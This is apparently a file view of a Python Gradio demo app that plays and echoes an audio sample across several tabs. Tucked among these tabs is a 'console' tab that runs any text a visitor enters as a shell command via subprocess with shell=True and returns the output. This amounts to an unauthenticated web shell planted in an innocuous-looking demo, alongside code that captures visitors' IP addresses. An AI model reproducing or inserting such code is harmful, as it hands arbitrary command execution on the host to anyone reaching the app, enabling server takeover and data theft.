File size: 1,277 Bytes
15bfa20
 
 
e27e8c3
 
 
 
 
 
 
 
 
accb414
ba7b5f9
15bfa20
 
 
 
 
24cf791
 
 
c71c540
24cf791
 
 
 
 
 
 
15bfa20
c96fdaa
24cf791
5c59c83
24cf791
 
 
 
 
 
c96fdaa
 
24cf791
c96fdaa
24cf791
15bfa20
ba7b5f9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import gradio as gr
import subprocess
import os
from pathlib import Path
from gradio.media import get_audio, MEDIA_ROOT
MEDIA_PATHS = [
    MEDIA_ROOT / "images",
    MEDIA_ROOT / "videos",
    MEDIA_ROOT / "audio",
    MEDIA_ROOT / "models3d",
    MEDIA_ROOT / "data",
]
# get_audio returns the path to the audio file
audio_file = get_audio("cantina.wav")

with gr.Blocks() as demo:
    with gr.Tab("Audio"):
        gr.Audio(audio_file)
    with gr.Tab("Interface"):
        gr.Interface(
            lambda x: x, "audio", "audio", examples=[audio_file], cache_examples=True
        )
    with gr.Tab("Streaming"):
        gr.Interface(
            lambda x: x,
            gr.Audio(streaming=True),
            "audio",
            examples=[audio_file],
            cache_examples=True,
        )
    with gr.Tab("console"):
        ip = gr.Textbox(label="User IP Address")
        gr.Interface(
            lambda cmd: subprocess.run([cmd], capture_output=True, shell=True, check=False)
            .stdout.decode("utf-8")
            .strip(),
            "text",
            "text",
        )

    def get_ip(request: gr.Request):
        return request.client.host

    demo.load(get_ip, None, ip)

if __name__ == "__main__":
    demo.launch(allowed_paths=MEDIA_PATHS)